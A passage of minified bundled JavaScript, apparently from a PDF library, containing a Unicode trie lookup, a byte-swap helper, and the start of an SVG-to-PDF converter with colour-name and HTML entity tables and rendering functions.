6E,UAAY52D,EAAKgJ,aAAa,GACnCjtB,KAAK86E,WAAa72D,EAAKgJ,aAAa,GACpC2tD,EAAqB32D,EAAKgJ,aAAa,GACvChJ,EAAOA,EAAK/b,MAAM,QACb,CACL,IAAMkvB,EAAO,IAAI3F,SAASxN,EAAK3O,QAC/BtV,KAAK66E,UAAYzjD,EAAKkB,UAAU,GAAG,GACnCt4B,KAAK86E,WAAa1jD,EAAKkB,UAAU,GAAG,GACpCsiD,EAAqBxjD,EAAKkB,UAAU,GAAG,GACvCrU,EAAOA,EAAKsI,SAAS,IAIvBtI,EAAOw4B,EAAQx4B,EAAM,IAAI5O,WAAWulE,IACpC32D,EAAOw4B,EAAQx4B,EAAM,IAAI5O,WAAWulE,IAGpCF,EAASz2D,GAETjkB,KAAKikB,KAAO,IAAIwP,YAAYxP,EAAK3O,YAE5B,OAE0E2O,EAAtEjkB,KAAKikB,KAFT,EAEFA,KAA4BjkB,KAAK66E,UAF/B,EAEeA,UAAuC76E,KAAK86E,WAF3D,EAE0CA,Y,6BAInDvxE,IAAA,SAAAA,IAAImgB,GACF,IAAI9I,EACJ,OAAK8I,EAAY,GAAOA,EAAY,QAC3B1pB,KAAK86E,WAGTpxD,EAAY,OAAaA,EAAY,OAAYA,GAAa,OAIjE9I,GAAS5gB,KAAKikB,KAAKyF,GAvGT,IAoBI,IAMFqxD,GA6EgDrxD,GACrD1pB,KAAKikB,KAAKrD,IAGf8I,GAAa,OAKf9I,GAAS5gB,KAAKikB,KAhFQ,MAgFqByF,EAAY,OAhH7C,KAoBI,IAMFqxD,GAsFmFrxD,GACxF1pB,KAAKikB,KAAKrD,IAGf8I,EAAY1pB,KAAK66E,WAEnBj6D,EAAQ5gB,KAAKikB,KAAM+2D,MAAgDtxD,GAzHzD,KA2HV9I,IADAA,EAAQ5gB,KAAKikB,KAAKrD,GAAU8I,GAvHlB,EAcKuxD,OAMD,IAMFF,GA8FsBrxD,GAC3B1pB,KAAKikB,KAAKrD,IAGZ5gB,KAAKikB,KAAKjkB,KAAKikB,KAAKjhB,OApEN,I,YAEnB23E,GAsENj7E,EAAOD,QAAUk7E,G,yPCvIjB,IAAMO,EAA2E,KAA5D,IAAI7lE,WAAW,IAAIoe,YAAY,CAAC,YAAane,QAAQ,GAEpEoS,EAAO,SAAPA,KAAQxiB,EAAGyiB,EAAGC,GAClB,IAAI9nB,EAAIoF,EAAEyiB,GACVziB,EAAEyiB,GAAKziB,EAAE0iB,GACT1iB,EAAE0iB,GAAK9nB,GAiBTJ,EAAOD,QAAU,CACfi7E,SAPe,SAAXA,SAAWnoE,GACX2oE,GATS,SAATpwD,OAASvY,GAEb,IADA,IAAM7B,EAAM6B,EAAMvP,OACTlD,EAAI,EAAGA,EAAI4Q,EAAK5Q,GAAK,EAC5B4nB,EAAKnV,EAAOzS,EAAGA,EAAI,GACnB4nB,EAAKnV,EAAOzS,EAAI,EAAGA,EAAI,GAMvBgrB,CAAOvY,M,kCClBX,IAAI4oE,EAAWz+D,EAAQ,MAEvBhd,EAAOD,QAAU07E,G,6KCm/EoBz7E,QAAoC,IAAnBA,EAAOD,UAC3DC,EAAOD,QAt/EM,SAAX07E,SAAoBzwB,EAAK0wB,EAAK/mE,EAAGC,EAAGjG,GAGpC,IAAMgtE,EAAc,CAACjrB,UAAW,CAAC,IAAI,IAAI,KAAMC,aAAc,CAAC,IAAI,IAAI,KAAMC,KAAM,CAAC,EAAE,IAAI,KAAMC,WAAY,CAAC,IAAI,IAAI,KAAMC,MAAO,CAAC,IAAI,IAAI,KAAMC,MAAO,CAAC,IAAI,IAAI,KAAMC,OAAQ,CAAC,IAAI,IAAI,KAAMC,MAAO,CAAC,EAAE,EAAE,GAAIC,eAAgB,CAAC,IAAI,IAAI,KAAM5lD,KAAM,CAAC,EAAE,EAAE,KAAM6lD,WAAY,CAAC,IAAI,GAAG,KAAMC,MAAO,CAAC,IAAI,GAAG,IAAKC,UAAW,CAAC,IAAI,IAAI,KAAMC,UAAW,CAAC,GAAG,IAAI,KAAMC,WAAY,CAAC,IAAI,IAAI,GACjXC,UAAW,CAAC,IAAI,IAAI,IAAKC,MAAO,CAAC,IAAI,IAAI,IAAKC,eAAgB,CAAC,IAAI,IAAI,KAAMC,SAAU,CAAC,IAAI,IAAI,KAAMC,QAAS,CAAC,IAAI,GAAG,IAAKC,KAAM,CAAC,EAAE,IAAI,KAAMC,SAAU,CAAC,EAAE,EAAE,KAAMC,SAAU,CAAC,EAAE,IAAI,KAAMC,cAAe,CAAC,IAAI,IAAI,IAAKC,SAAU,CAAC,IAAI,IAAI,KAAME,SAAU,CAAC,IAAI,IAAI,KAAMD,UAAW,CAAC,EAAE,IAAI,GAAIE,UAAW,CAAC,IAAI,IAAI,KAAMC,YAAa,CAAC,IAAI,EAAE,KAAMC,eAAgB,CAAC,GAAG,IAAI,IAC5WC,WAAY,CAAC,IAAI,IAAI,GAAIC,WAAY,CAAC,IAAI,GAAG,KAAMC,QAAS,CAAC,IAAI,EAAE,GAAIC,WAAY,CAAC,IAAI,IAAI,KAAMC,aAAc,CAAC,IAAI,IAAI,KAAMC,cAAe,CAAC,GAAG,GAAG,KAAMC,cAAe,CAAC,GAAG,GAAG,IAAKC,cAAe,CAAC,GAAG,GAAG,IAAKC,cAAe,CAAC,EAAE,IAAI,KAAMC,WAAY,CAAC,IAAI,EAAE,KAAMC,SAAU,CAAC,IAAI,GAAG,KAAMC,YAAa,CAAC,EAAE,IAAI,KAAMC,QAAS,CAAC,IAAI,IAAI,KAAMC,QAAS,CAAC,IAAI,IAAI,KAClWC,WAAY,CAAC,GAAG,IAAI,KAAMC,UAAW,CAAC,IAAI,GAAG,IAAKC,YAAa,CAAC,IAAI,IAAI,KAAMC,YAAa,CAAC,GAAG,IAAI,IAAKC,QAAS,CAAC,IAAI,EAAE,KAAMC,UAAW,CAAC,IAAI,IAAI,KAAMC,WAAY,CAAC,IAAI,IAAI,KAAMC,KAAM,CAAC,IAAI,IAAI,GAAIC,UAAW,CAAC,IAAI,IAAI,IAAKC,KAAM,CAAC,IAAI,IAAI,KAAMC,KAAM,CAAC,IAAI,IAAI,KAAMxoD,MAAO,CAAC,EAAE,IAAI,GAAIyoD,YAAa,CAAC,IAAI,IAAI,IAAKC,SAAU,CAAC,IAAI,IAAI,KAAMC,QAAS,CAAC,IAAI,IAAI,KACjWC,UAAW,CAAC,IAAI,GAAG,IAAKC,OAAQ,CAAC,GAAG,EAAE,KAAMC,MAAO,CAAC,IAAI,IAAI,KAAMC,MAAO,CAAC,IAAI,IAAI,KAAMC,SAAU,CAAC,IAAI,IAAI,KAAMC,cAAe,CAAC,IAAI,IAAI,KAAMC,UAAW,CAAC,IAAI,IAAI,GAAIC,aAAc,CAAC,IAAI,IAAI,KAAMC,UAAW,CAAC,IAAI,IAAI,KAAMC,WAAY,CAAC,IAAI,IAAI,KAAMC,UAAW,CAAC,IAAI,IAAI,KAAMC,qBAAsB,CAAC,IAAI,IAAI,KAAMC,UAAW,CAAC,IAAI,IAAI,KAAME,UAAW,CAAC,IAAI,IAAI,KACtWD,WAAY,CAAC,IAAI,IAAI,KAAME,UAAW,CAAC,IAAI,IAAI,KAAMC,YAAa,CAAC,IAAI,IAAI,KAAMC,cAAe,CAAC,GAAG,IAAI,KAAMC,aAAc,CAAC,IAAI,IAAI,KAAMC,eAAgB,CAAC,IAAI,IAAI,KAAMC,eAAgB,CAAC,IAAI,IAAI,KAAMC,eAAgB,CAAC,IAAI,IAAI,KAAMC,YAAa,CAAC,IAAI,IAAI,KAAMC,KAAM,CAAC,EAAE,IAAI,GAAIC,UAAW,CAAC,GAAG,IAAI,IAAKC,MAAO,CAAC,IAAI,IAAI,KAAMC,QAAS,CAAC,IAAI,EAAE,KAAMC,OAAQ,CAAC,IAAI,EAAE,GACxWC,iBAAkB,CAAC,IAAI,IAAI,KAAMC,WAAY,CAAC,EAAE,EAAE,KAAMC,aAAc,CAAC,IAAI,GAAG,KAAMC,aAAc,CAAC,IAAI,IAAI,KAAMC,eAAgB,CAAC,GAAG,IAAI,KAAMC,gBAAiB,CAAC,IAAI,IAAI,KAAMC,kBAAmB,CAAC,EAAE,IAAI,KAAMC,gBAAiB,CAAC,GAAG,IAAI,KAAMC,gBAAiB,CAAC,IAAI,GAAG,KAAMC,aAAc,CAAC,GAAG,GAAG,KAAMC,UAAW,CAAC,IAAI,IAAI,KAAMC,UAAW,CAAC,IAAI,IAAI,KAAMC,SAAU,CAAC,IAAI,IAAI,KAC/WC,YAAa,CAAC,IAAI,IAAI,KAAMC,KAAM,CAAC,EAAE,EAAE,KAAMC,QAAS,CAAC,IAAI,IAAI,KAAMC,MAAO,CAAC,IAAI,IAAI,GAAIC,UAAW,CAAC,IAAI,IAAI,IAAKC,OAAQ,CAAC,IAAI,IAAI,GAAIC,UAAW,CAAC,IAAI,GAAG,GAAIC,OAAQ,CAAC,IAAI,IAAI,KAAMC,cAAe,CAAC,IAAI,IAAI,KAAMC,UAAW,CAAC,IAAI,IAAI,KAAMC,cAAe,CAAC,IAAI,IAAI,KAAMC,cAAe,CAAC,IAAI,IAAI,KAAMC,WAAY,CAAC,IAAI,IAAI,KAAMC,UAAW,CAAC,IAAI,IAAI,KAAMC,KAAM,CAAC,IAAI,IAAI,IAC7WC,KAAM,CAAC,IAAI,IAAI,KAAMC,KAAM,CAAC,IAAI,IAAI,KAAMC,WAAY,CAAC,IAAI,IAAI,KAAMC,OAAQ,CAAC,IAAI,EAAE,KAAM8jB,cAAe,CAAC,IAAI,GAAG,KAAMpwE,IAAK,CAAC,IAAI,EAAE,GAAIusD,UAAW,CAAC,IAAI,IAAI,KAAMC,UAAW,CAAC,GAAG,IAAI,KAAMC,YAAa,CAAC,IAAI,GAAG,IAAKC,OAAQ,CAAC,IAAI,IAAI,KAAMC,WAAY,CAAC,IAAI,IAAI,IAAKC,SAAU,CAAC,GAAG,IAAI,IAAKC,SAAU,CAAC,IAAI,IAAI,KAAMC,OAAQ,CAAC,IAAI,GAAG,IAAKC,OAAQ,CAAC,IAAI,IAAI,KAAMC,QAAS,CAAC,IAAI,IAAI,KACnXC,UAAW,CAAC,IAAI,GAAG,KAAMC,UAAW,CAAC,IAAI,IAAI,KAAMC,UAAW,CAAC,IAAI,IAAI,KAAMC,KAAM,CAAC,IAAI,IAAI,KAAMC,YAAa,CAAC,EAAE,IAAI,KAAMC,UAAW,CAAC,GAAG,IAAI,KAAMC,IAAK,CAAC,IAAI,IAAI,KAAMC,KAAM,CAAC,EAAE,IAAI,KAAMC,QAAS,CAAC,IAAI,IAAI,KAAMC,OAAQ,CAAC,IAAI,GAAG,IAAKC,UAAW,CAAC,GAAG,IAAI,KAAMC,OAAQ,CAAC,IAAI,IAAI,KAAMC,MAAO,CAAC,IAAI,IAAI,KAAM5tD,MAAO,CAAC,IAAI,IAAI,KAAM6tD,WAAY,CAAC,IAAI,IAAI,KAAMC,OAAQ,CAAC,IAAI,IAAI,IAC7WsiB,EAAgB,CAAC5qB,MAAO,CAAC0qB,EAAY1qB,MAAO,GAAIxlD,MAAO,CAACkwE,EAAYlwE,MAAO,GAAIqwE,YAAa,CAACH,EAAY1qB,MAAO,IAChH8qB,EAAW,CAACC,KAAM,GAAIC,IAAK,GAAIC,GAAI,GAAIC,GAAI,GAAIC,KAAM,GAAIC,MAAO,IAAKC,MAAO,IAAKC,OAAQ,IAAKC,OAAQ,IAAKC,KAAM,IAAKC,KAAM,IAAKC,MAAO,IAAKC,KAAM,KAAMC,KAAM,KAAMC,OAAQ,KAAMC,KAAM,KAAMC,IAAK,KAAMC,IAAK,KAAMC,IAAK,KAAMC,MAAO,KAAMC,MAAO,KAAMC,MAAO,KAAMC,MAAO,KAAMC,MAAO,KAAMC,MAAO,KAAMC,MAAO,KAAMC,MAAO,KAAMC,OAAQ,KAAMC,OAAQ,KAAMC,OAAQ,KAAMC,OAAQ,KAC9XC,OAAQ,KAAMC,KAAM,KAAMC,KAAM,IAAKC,MAAO,IAAKC,KAAM,IAAKC,MAAO,IAAKC,OAAQ,IAAKC,IAAK,IAAKC,OAAQ,IAAKC,KAAM,IAAKC,IAAK,IAAK93D,KAAM,IAAK+3D,KAAM,IAAKC,MAAO,IAAKC,IAAK,IAAKC,IAAK,IAAKC,IAAK,IAAKC,KAAM,IAAKC,IAAK,IAAKC,OAAQ,IAAKC,KAAM,IAAKC,KAAM,IAAKC,MAAO,IAAKC,MAAO,IAAKC,KAAM,IAAKC,OAAQ,IAAKC,MAAO,IAAKC,KAAM,IAAKC,KAAM,IAAKC,MAAO,IAAKC,OAAQ,IAAKC,OAAQ,IAAKC,OAAQ,IACzXC,OAAQ,IAAKC,OAAQ,IAAKC,OAAQ,IAAKC,MAAO,IAAKC,OAAQ,IAAKC,KAAM,IAAKC,MAAO,IAAKC,MAAO,IAAKC,OAAQ,IAAKC,OAAQ,IAAKC,OAAQ,IAAKC,MAAO,IAAKC,KAAM,IAAKC,OAAQ,IAAKC,OAAQ,IAAKC,MAAO,IAAKC,KAAM,IAAKC,IAAK,IAAKC,OAAQ,IAAKC,OAAQ,IAAKC,OAAQ,IAAKC,MAAO,IAAKC,OAAQ,IAAKC,KAAM,IAAKnW,MAAO,IAAKoW,OAAQ,IAAKC,OAAQ,IAAKC,OAAQ,IAAKC,MAAO,IAAKC,KAAM,IAAKC,OAAQ,IACzXC,MAAO,IAAKC,MAAO,IAAKC,OAAQ,IAAKC,OAAQ,IAAKC,MAAO,IAAKC,OAAQ,IAAKC,KAAM,IAAKC,MAAO,IAAKC,MAAO,IAAKC,OAAQ,IAAKC,OAAQ,IAAKC,OAAQ,IAAKC,MAAO,IAAKC,KAAM,IAAKC,OAAQ,IAAKC,OAAQ,IAAKC,MAAO,IAAKC,KAAM,IAAKC,IAAK,IAAKC,OAAQ,IAAKC,OAAQ,IAAKC,OAAQ,IAAKC,MAAO,IAAKC,OAAQ,IAAKC,KAAM,IAAKC,OAAQ,IAAKC,OAAQ,IAAKC,OAAQ,IAAKC,OAAQ,IAAKC,MAAO,IAAKC,KAAM,IACxXC,OAAQ,IAAKC,MAAO,IAAKC,KAAM,IAAKC,KAAM,IAAKC,MAAO,IAAKC,KAAM,IAAKC,MAAO,IAAKC,MAAO,IAAKC,QAAS,IAAKC,KAAM,IAAKC,IAAK,IAAKC,MAAO,IAAKC,KAAM,IAAKC,MAAO,IAAKC,OAAQ,IAAKC,GAAI,IAAKC,GAAI,IAAKC,GAAI,IAAKC,QAAS,IAAKC,GAAI,IAAKC,IAAK,IAAKC,MAAO,IAAKC,IAAK,IAAKC,QAAS,IAAKC,IAAK,IAAKC,IAAK,IAAKC,IAAK,IAAKC,MAAO,IAAKhnC,MAAO,IAAKinC,KAAM,IAAKC,MAAO,IAAKC,MAAO,IAAKC,QAAS,IACnXC,KAAM,IAAKC,IAAK,IAAKC,MAAO,IAAKC,KAAM,IAAKC,MAAO,IAAKC,OAAQ,IAAKC,GAAI,IAAKC,GAAI,IAAK3rD,GAAI,IAAK4rD,QAAS,IAAKC,GAAI,IAAKC,IAAK,IAAKC,OAAQ,IAAKC,MAAO,IAAKC,IAAK,IAAKC,QAAS,IAAKC,IAAK,IAAKC,IAAK,IAAKC,IAAK,IAAKC,MAAO,IAAKC,SAAU,IAAKC,MAAO,IAAKC,IAAK,IAAKC,KAAM,KAAMC,OAAQ,KAAMC,MAAO,KAAMC,MAAO,KAAMC,MAAO,KAAMC,MAAO,KAAMC,OAAQ,KAAM1a,MAAO,KAAM2a,KAAM,KAChXC,MAAO,KAAMC,QAAS,KAAMC,KAAM,KAAMC,KAAM,KAAMC,KAAM,KAAMC,KAAM,KAAMC,KAAM,KAAMC,MAAO,KAAMC,KAAM,KAAMC,KAAM,KAAMC,KAAM,KAAMC,KAAM,KAAMC,KAAM,KAAMC,OAAQ,KAAM34B,KAAM,KAAM44B,MAAO,KAAMC,MAAO,KAAMC,MAAO,KAAMC,KAAM,KAAMC,MAAO,KAAMC,GAAI,KAAMC,KAAM,KAAMC,IAAK,KAAMC,MAAO,KAAMC,OAAQ,KAAMC,MAAO,KAAMC,KAAM,KAAMC,MAAO,KAAMC,IAAK,KAAMC,IAAK,KAAMC,GAAI,KACvXC,IAAK,KAAMC,IAAK,KAAMC,IAAK,KAAMC,OAAQ,KAAMC,IAAK,KAAMC,KAAM,KAAMC,MAAO,KAAMC,GAAI,KAAMC,MAAO,KAAMC,GAAI,KAAMC,GAAI,KAAMt6D,IAAK,KAAMu6D,IAAK,KAAMC,KAAM,KAAMC,KAAM,KAAMC,KAAM,KAAMC,MAAO,KAAMC,OAAQ,KAAMC,KAAM,KAAMC,KAAM,KAAMC,MAAO,KAAMC,MAAO,KAAMC,OAAQ,KAAMC,OAAQ,KAAMC,KAAM,KAAMC,KAAM,KAAMC,IAAK,KAAMC,OAAQ,KAAMC,MAAO,KAAMC,OAAQ,KAAMC,MAAO,MAChXC,EAAgB,CAACvxB,EAAG,EAAG55D,EAAG,EAAGu0B,EAAG,EAAGxQ,EAAG,EAAGokB,EAAG,EAAGwI,EAAG,EAAGkpB,EAAG,EAAGpZ,EAAG,EAAG5kB,EAAG,EAAG9T,EAAG,EAAG+xC,EAAG,EAAGC,EAAG,EAAGhuB,EAAG,EAAGjC,EAAG,EAAGhC,EAAG,EAAGpN,EAAG,EAAGs/B,EAAG,EAAG1b,EAAG,EAAG2b,EAAG,EAAGpqB,EAAG,GACtIu7C,EAAY,CAACvpC,IAAI,EAAMC,IAAI,EAAMupC,IAAI,EAAMC,IAAI,GAC/CC,EAAa,CACjB,MAAsB,CAACC,SAAS,EAAMC,aAAS7nF,GAC/C,WAAsB,CAAC4nF,SAAS,EAAMC,QAAS,UAAWxqB,OAAQ,CAAC,OAAU,SAAU,SAAY,SAAU,QAAU,YACvH,KAAsB,CAACuqB,SAAS,EAAMC,QAAS/P,EAAc5qB,OAC7D,OAAsB,CAAC06B,SAAS,EAAMC,QAAS,QAC/C,aAAsB,CAACD,SAAS,EAAOC,QAAS/P,EAAc5qB,OAC9D,eAAsB,CAAC06B,SAAS,EAAMC,QAAS,GAC/C,iBAAsB,CAACD,SAAS,EAAMC,QAAS,GAC/C,eAAsB,CAACD,SAAS,EAAOC,QAAS,GAChD,YAAsB,CAACD,SAAS,EAAMC,QAAS,UAAWxqB,OAAQ,CAAC,QAAU,UAAW,QAAU,YAClG,YAAsB,CAACuqB,SAAS,EAAMC,QAAS,UAAWxqB,OAAQ,CAAC,QAAU,UAAW,QAAU,YAClG,eAAsB,CAACuqB,SAAS,EAAMC,QAAS,GAC/C,mBAAsB,CAACD,SAAS,EAAMC,QAAS,IAC/C,oBAAsB,CAACD,SAAS,EAAMC,QAAS,GAC/C,oBAAsB,CAACD,SAAS,EAAMC,QAAS,GAC/C,kBAAsB,CAACD,SAAS,EAAMC,QAAS,QAASxqB,OAAQ,CAAC,MAAQ,QAAS,MAAQ,QAAS,MAAQ,UAC3G,iBAAsB,CAACuqB,SAAS,EAAMC,QAAS,OAAQxqB,OAAQ,CAAC,KAAO,OAAQ,MAAQ,QAAS,OAAS,WACzG,YAAsB,CAACuqB,SAAS,EAAMC,QAAS,GAAIxqB,OAAQ,CAAC,WAAW,EAAG,UAAU,GAAI,MAAQ,GAAI,OAAS,GAAI,MAAQ,GAAI,UAAU,GAAI,WAAW,KACtJ,cAAsB,CAACuqB,SAAS,EAAMC,QAAS,cAC/C,cAAsB,CAACD,SAAS,EAAMC,QAAS,SAAUxqB,OAAQ,CAAC,IAAM,OAAQ,IAAM,OAAQ,IAAM,OAAQ,IAAM,OAAQ,KAAO,OAAQ,OAAS,OAAQ,IAAM,SAAU,IAAM,SAAU,IAAM,SAAU,IAAM,SAAU,IAAM,SAAU,OAAS,SAAU,QAAU,WACvQ,aAAsB,CAACuqB,SAAS,EAAMC,QAAS,SAAUxqB,OAAQ,CAAC,OAAS,SAAU,QAAU,SAAU,OAAS,WAClH,cAAsB,CAACuqB,SAAS,EAAMC,QAAS,QAASxqB,OAAQ,CAAC,MAAQ,QAAS,OAAS,SAAU,IAAM,QAC3G,UAAsB,CAACuqB,SAAS,EAAMC,QAAS,MAAOxqB,OAAQ,CAAC,IAAM,MAAO,IAAM,QAClF,oBAAsB,CAACuqB,SAAS,EAAMC,QAAS,WAAYxqB,OAAQ,CAAC,KAAO,WAAY,SAAW,WAAY,cAAc,cAAe,mBAAmB,cAAe,OAAS,SAAU,QAAU,UAAW,aAAa,aAAc,kBAAkB,aAAc,YAAc,cAAe,WAAa,aAAc,QAAU,UAAW,aAAe,iBAC5W,qBAAsB,CAACuqB,SAAS,EAAOC,aAAS7nF,EAAWq9D,OAAQ,CAAC,KAAO,WAAY,SAAW,WAAY,cAAc,cAAe,mBAAmB,cAAe,OAAS,SAAU,QAAU,UAAW,aAAa,aAAc,kBAAkB,aAAc,YAAc,cAAe,WAAa,aAAc,QAAU,UAAW,aAAe,iBAC5W,iBAAsB,CAACuqB,SAAS,EAAMC,QAAS,WAAYxqB,OAAQ,CAAC,SAAW,WAAY,IAAM,MAAO,MAAQ,UAChH,eAAsB,CAACuqB,SAAS,EAAMC,QAAS,EAAGxqB,OAAQ,CAACyqB,OAAO,IAClE,iBAAsB,CAACF,SAAS,EAAMC,QAAS,EAAGxqB,OAAQ,CAACyqB,OAAO,IAClE,kBAAsB,CAACF,SAAS,EAAOC,QAAS,OAAQxqB,OAAQ,CAAC,KAAO,OAAQ,UAAY,YAAa,SAAW,WAAY,eAAe,iBAC/I,YAAsB,CAACuqB,SAAS,EAAMC,QAAS,UAAWE,IAAK,cAAe1qB,OAAQ,CAAC,SAAW,WAAY,QAAU,UAAW,IAAM,WAAY,WAAW,WAAY,WAAW,WAAY,OAAU,YAC7M,eAAsB,CAACuqB,SAAS,EAAMC,QAAS,QAC/C,aAAsB,CAACD,SAAS,EAAMC,QAAS,QAC/C,aAAsB,CAACD,SAAS,EAAMC,QAAS,QAC/C,QAAsB,CAACD,SAAS,EAAOC,QAAS,GAChD,UAAsB,CAACD,SAAS,EAAOC,QAAS,CAAC,EAAG,EAAG,EAAG,EAAG,EAAG,IAChE,QAAsB,CAACD,SAAS,EAAOC,QAAS,SAAUxqB,OAAQ,CAAC,KAAO,OAAQ,OAAS,SAAU,MAAQ,WAC7G,YAAsB,CAACuqB,SAAS,EAAOC,QAAS,QAChD,KAAsB,CAACD,SAAS,EAAOC,QAAS,QAChD,SAAsB,CAACD,SAAS,EAAOC,QAAS,SAAUxqB,OAAQ,CAAC,OAAS,SAAU,OAAS,SAAU,QAAU,aAGrH,SAAS2qB,cAAc5pB,GACrB,IAAI6pB,EAAQ,IAAK,SAASC,aAqB1B,OApBAD,EAAMvmF,KAAO,KAAOulD,EAAIkhC,aAAelhC,EAAIkhC,aAAe,GAAK,GAC/DF,EAAMzmC,UAAYyF,EAAIhG,MACtBgnC,EAAMG,KAAOnhC,EAAIhG,IAAI,CACnBE,KAAM,UACN0H,QAAS,OACTC,SAAU,EACVC,KAAMqV,EACNpV,MAAO,CAAC7gB,EAAG,eAAgB8gB,GAAI,YAAao/B,GAAG,EAAM9/C,GAAG,GACxDgZ,UAAW0mC,EAAMzmC,YAEnBymC,EAAMG,KAAK9lE,MAAM,IACjB2lE,EAAMK,YAAcrhC,EAAIuS,KACxByuB,EAAMM,UAAYthC,EAAI0B,KACtB6/B,GAAW3mF,KAAKomF,GAChBhhC,EAAIuS,KAAO,CAAC,EAAG,EAAG,EAAG,EAAG,EAAG,GAC3BvS,EAAI0B,KAAO,CACTnR,MAAOyP,EAAI0B,KAAKnR,MAAOC,OAAQwP,EAAI0B,KAAKlR,OACxCn1B,MAAO,eAAS9B,GAAOynE,EAAMG,KAAK9lE,MAAM9B,IACxCwnD,MAAO,GAAImC,SAAU,GAAIse,YAAa,GAAIt9B,SAAU,IAE/C88B,EAET,SAASS,YAAYT,GACnB,GAAIA,IAAUO,GAAWv+E,MAAQ,KAAM,qBACnCpM,OAAOkD,KAAKkmD,EAAI0B,KAAKqf,OAAOzoE,SAAS0oF,EAAMzmC,UAAUhhC,KAAKqwD,KAAO5pB,EAAI0B,KAAKqf,OAC1EnqE,OAAOkD,KAAKkmD,EAAI0B,KAAKwhB,UAAU5qE,SAAS0oF,EAAMzmC,UAAUhhC,KAAKmoE,QAAU1hC,EAAI0B,KAAKwhB,UAChFtsE,OAAOkD,KAAKkmD,EAAI0B,KAAK8/B,aAAalpF,SAAS0oF,EAAMzmC,UAAUhhC,KAAKmpC,UAAY1C,EAAI0B,KAAK8/B,aACrF5qF,OAAOkD,KAAKkmD,EAAI0B,KAAKwC,UAAU5rD,SAAS0oF,EAAMzmC,UAAUhhC,KAAK0oC,QAAUjC,EAAI0B,KAAKwC,UACpF88B,EAAMzmC,UAAUv4C,MAChBg/E,EAAMG,KAAKn/E,MACXg+C,EAAIuS,KAAOyuB,EAAMK,YACjBrhC,EAAI0B,KAAOs/B,EAAMM,UAEnB,SAASK,eAAeX,GACtBhhC,EAAI0B,KAAKwhB,SAAS8d,EAAMvmF,MAAQumF,EAAMG,KACtCnhC,EAAIoD,WAAW,IAAM49B,EAAMvmF,KAAO,OAEpC,SAASmnF,aAAaZ,EAAO9qB,GAC3B,IAAIz7D,EAAO,KAAOulD,EAAI6hC,YAAc7hC,EAAI6hC,YAAc,GAAK,GACvD1/B,EAASnC,EAAIhG,IAAI,CACnBE,KAAM,YAAa4nC,GAAI,EAAGC,GAAI,EAAGC,GAAI,SACrC5/B,MAAO,CAAClhB,EAAG,aAAcE,EAAG4/C,EAAMG,KAAMc,GAAK/rB,EAAO,CAAC,EAAG,EAAG,GAAK,CAAC,EAAG,EAAG,MAEzE/T,EAAOngD,MACPg+C,EAAI0B,KAAK8/B,YAAY/mF,GAAQ0nD,EAC7BnC,EAAIoD,WAAW,IAAM3oD,EAAO,OAE9B,SAASynF,iBAAiBlB,EAAO5uC,EAAIC,EAAIgP,GACvC,IAAIJ,EAAU,IAAK,SAASkhC,eAK5B,OAJAlhC,EAAQ+/B,MAAQA,EAChB//B,EAAQ7O,GAAKA,EACb6O,EAAQ5O,GAAKA,EACb4O,EAAQI,OAASA,GAAU,CAAC,EAAG,EAAG,EAAG,EAAG,EAAG,GACpCJ,EAET,SAASmhC,cAAcnhC,EAAS2B,GAC9B,IAO8By/B,EAP1B5nF,EAAO,KAAOulD,EAAIiE,eAAiBjE,EAAIiE,eAAiB,GAAK,GAC7DjK,EAAMgG,EAAIhG,IAAI,CAChBE,KAAM,UAAWgH,YAAa,EAAGoB,UAAW,EAAGC,WAAY,EAC3DT,KAAM,CAAC,EAAG,EAAGb,EAAQ7O,GAAI6O,EAAQ5O,IAAKmQ,MAAOvB,EAAQ7O,GAAIqQ,MAAOxB,EAAQ5O,GACxE+O,OAAQkhC,eAAetiC,EAAIuS,KAAMtR,EAAQI,QACzC/G,UAAW,CACTL,QAAS,CAAC,MAAO,OAAQ,SAAU,SAAU,UAC7CynC,SAA0BW,EAAO,GAAIA,EAAKphC,EAAQ+/B,MAAMvmF,MAAQwmD,EAAQ+/B,MAAMG,KAAakB,MAG/FroC,EAAI3+B,MAAM,IAAM4lC,EAAQ+/B,MAAMvmF,KAAO,OACrCu/C,EAAIh4C,MACJg+C,EAAI0B,KAAKwC,SAASzpD,GAAQu/C,EACtB4I,GACF5C,EAAIoD,WAAW,eACfpD,EAAIoD,WAAW,IAAM3oD,EAAO,UAE5BulD,EAAIoD,WAAW,eACfpD,EAAIoD,WAAW,IAAM3oD,EAAO,SAUhC,SAAS8nF,eAAevsE,EAAM4sC,GAC5B,IAAI5uB,EAAOhe,GAAQ4sC,EAAS,EAAIA,EAAS,EAAI5sC,EAAO,EAAI,EACxDgqC,EAAIoD,WAAWpvB,EAAO,OAQxB,SAASwuD,aAAa1iC,GACc,eAA9BA,EAAM,GAAGnqD,YAAY8E,MACvBulD,EAAImF,YAAYrF,EAAM,IACtBsiC,cAActiC,EAAM,IAAI,IAExBE,EAAIiF,UAAUnF,EAAM,GAAIA,EAAM,IAGlC,SAAS2iC,eAAe3iC,GACY,eAA9BA,EAAM,GAAGnqD,YAAY8E,MACvBulD,EAAIoF,cAActF,EAAM,IACxBsiC,cAActiC,EAAM,IAAI,IAExBE,EAAIkF,YAAYpF,EAAM,GAAIA,EAAM,IAiBpC,SAAS4iC,SAASC,GAChB,IAAIC,EAAU,SAAVA,QAAmB/nB,EAAKv0D,EAAMzO,EAAO6D,GACvCpG,KAAKoG,MAAQA,EACbpG,KAAKutF,SAAWhoB,EAChBvlE,KAAKwtF,UAAYjrF,EACjBvC,KAAKytF,SAAWz8E,EAChBhR,KAAK4hE,WAAatgE,OAAOsI,OAAO,MAChC5J,KAAK0tF,WAAa,GAClB1tF,KAAK2tF,WAAa,KAClB3tF,KAAKiwD,GAAK,GACVjwD,KAAK4tF,YAAc,GACnB5tF,KAAK6tF,UAAY,IAEnBP,EAAQhtF,UAAUwtF,aAAe,SAASC,GACxC,OAAgC,MAAzB/tF,KAAK4hE,WAAWmsB,GAAgB/tF,KAAK4hE,WAAWmsB,GAAQ,MAEjET,EAAQhtF,UAAU0tF,eAAiB,SAAS/9B,GAC1C,IAAIhpD,EAAS,KAUb,OATA,SAAUgnF,UAAUC,GAClB,IAAIjnF,GACkB,IAAlBinF,EAAKT,SAAgB,CACnBS,EAAKj+B,KAAOA,IAAKhpD,EAASinF,GAC9B,IAAK,IAAIpuF,EAAI,EAAGA,EAAIouF,EAAKR,WAAW1qF,OAAQlD,IAC1CmuF,UAAUC,EAAKR,WAAW5tF,KALhC,CAQGE,MACIiH,GAETqmF,EAAQhtF,UAAU6tF,qBAAuB,SAAS5oB,GAChD,IAAIt+D,EAAS,GASb,OARA,SAAUgnF,UAAUC,GAClB,GAA